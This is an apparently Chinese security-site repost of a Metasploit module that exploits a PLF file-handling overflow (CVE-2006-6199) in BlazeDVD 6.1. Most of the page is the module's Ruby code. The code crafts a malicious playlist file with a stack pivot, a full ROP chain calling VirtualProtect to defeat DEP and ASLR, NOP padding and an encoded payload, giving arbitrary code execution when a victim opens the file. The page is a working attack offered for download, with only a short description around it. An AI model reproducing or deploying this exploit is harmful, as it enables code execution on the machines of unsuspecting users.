首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
BlazeDVD 6.1 PLF Exploit DEP/ASLR Bypass (MSF)
来源:http://www.metasploit.com 作者:Freyman 发布时间:2013-01-04  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'BlazeDVD 6.1 PLF Exploit DEP/ASLR Bypass',
   'Description' => %q{
     This module updates an existing MSF module originally written for BlazeDVD 5.1. The new module
     will bypass DEP and ASLR on version 6. The original vulnerability is due to the handling of
     specially crafted PLF files. Exploiting this allows us to execute arbitrary code running under
     the context of the user.
   },
   'License'  => MSF_LICENSE,
   'Author'  =>
    [
     'Gjoko Krstic', # Original discovery
     'Craig Freyman @cd1zz', # MSF Module
    ],
   'References' =>
    [
     [ 'OSVDB', '30770' ],
     [ 'CVE', '2006-6199' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/6217/' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/13905/' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/9329/' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/16618/' ]
    ],
   'DefaultOptions' =>
    {
     'ExitFunction' => 'process',
     #'InitialAutoRunScript' => 'migrate -f',
    },
   'Platform' => 'win',
   'Payload' =>
    {
     'BadChars' => "\x00\x0a\x1a\x2f\x3a\x5c",
     'DisableNops' => true,
     'StackAdjustment' => -3500
    },

   'Targets'  =>
    [
     [ 'win',
      {
       'Ret'    => 0x6030ef6c,# : {pivot 2352 / 0x930} :  # POP ESI # ADD ESP,92C # RETN
       'Offset' => 872
      }
     ],
    ],
   'Privileged' => false,
   'DisclosureDate' => 'Aug 10 2008',
   'DefaultTarget' => 0))

  register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf']),], self.class)

 end

 def create_rop_chain()

  # rop chain generated with mona.py - www.corelan.be
  rop_gadgets =
  [
   0x640258bf, # POP EAX # RETN [MediaPlayerCtrl.dll]
   0x10011108, # ptr to &VirtualProtect() [IAT SkinScrollBar.Dll]
   0x6033d8be, # MOV ESI,DWORD PTR DS:[EAX] # RETN [Configuration.dll]
   0x60327f7f, # POP EBP # RETN [Configuration.dll]
   0x616069a1, # & push esp #  ret 04 [EPG.dll]
   0x60335f98, # POP EAX # RETN [Configuration.dll]
   0xfffffdff, # Value to negate, will become 0x00000201
   0x6404c4c3, # NEG EAX # RETN [MediaPlayerCtrl.dll]
   0x64016676, # XCHG EAX,EBX # RETN [MediaPlayerCtrl.dll]
   0x6410948f, # POP EAX # RETN [NetReg.dll]
   0xffffffc0, # Value to negate, will become 0x00000040
   0x6033b0eb, # NEG EAX # RETN [Configuration.dll]
   0x61608ba2, # XCHG EAX,EDX # RETN [EPG.dll]
   0x6033d975, # POP ECX # RETN [Configuration.dll]
   0x6411c001, # &Writable location [NetReg.dll]
   0x6410a85d, # POP EDI # RETN [NetReg.dll]
   0x6160b805, # RETN (ROP NOP) [EPG.dll]
   0x6402c108, # POP EAX # RETN [MediaPlayerCtrl.dll]
   0x90909090, # nop
   0x6033d886, # PUSHAD # RETN [Configuration.dll]
  ].flatten.pack("V*")

  return rop_gadgets

 end

 def exploit
  rop_chain = create_rop_chain()
  stack_adjust = "\x81\xc4\x24\xfa\xff\xff"
  buf = ''
  buf << make_nops(target['Offset'])
  buf << [target.ret].pack('V')
  buf << make_nops(8) #filler for stack pivot
  buf << rop_chain
  buf << stack_adjust
  buf << payload.encoded
  buf << make_nops(5000 - buf.length)

  file_create(buf)

 end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Aktiv Player 2.80 Crash PoC
·Microsoft Internet Explorer CB
·Microsoft Internet Explorer CD
·Astium VoIP PBX 2.1 Remote Roo
·IBM Lotus QuickR qp2 ActiveX B
·Astium VoIP PBX <= v2.1 build
·IBM Lotus iNotes dwa85W Active
·Allied Telesis AT-MCF2000M 3.0
·Ubiquiti AirOS <= 5.5.2 Remote
·WordPress Plugin Advanced Cust
·RealPlayer RealMedia File Hand
·Ratbox IRCd Denial Of Service
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved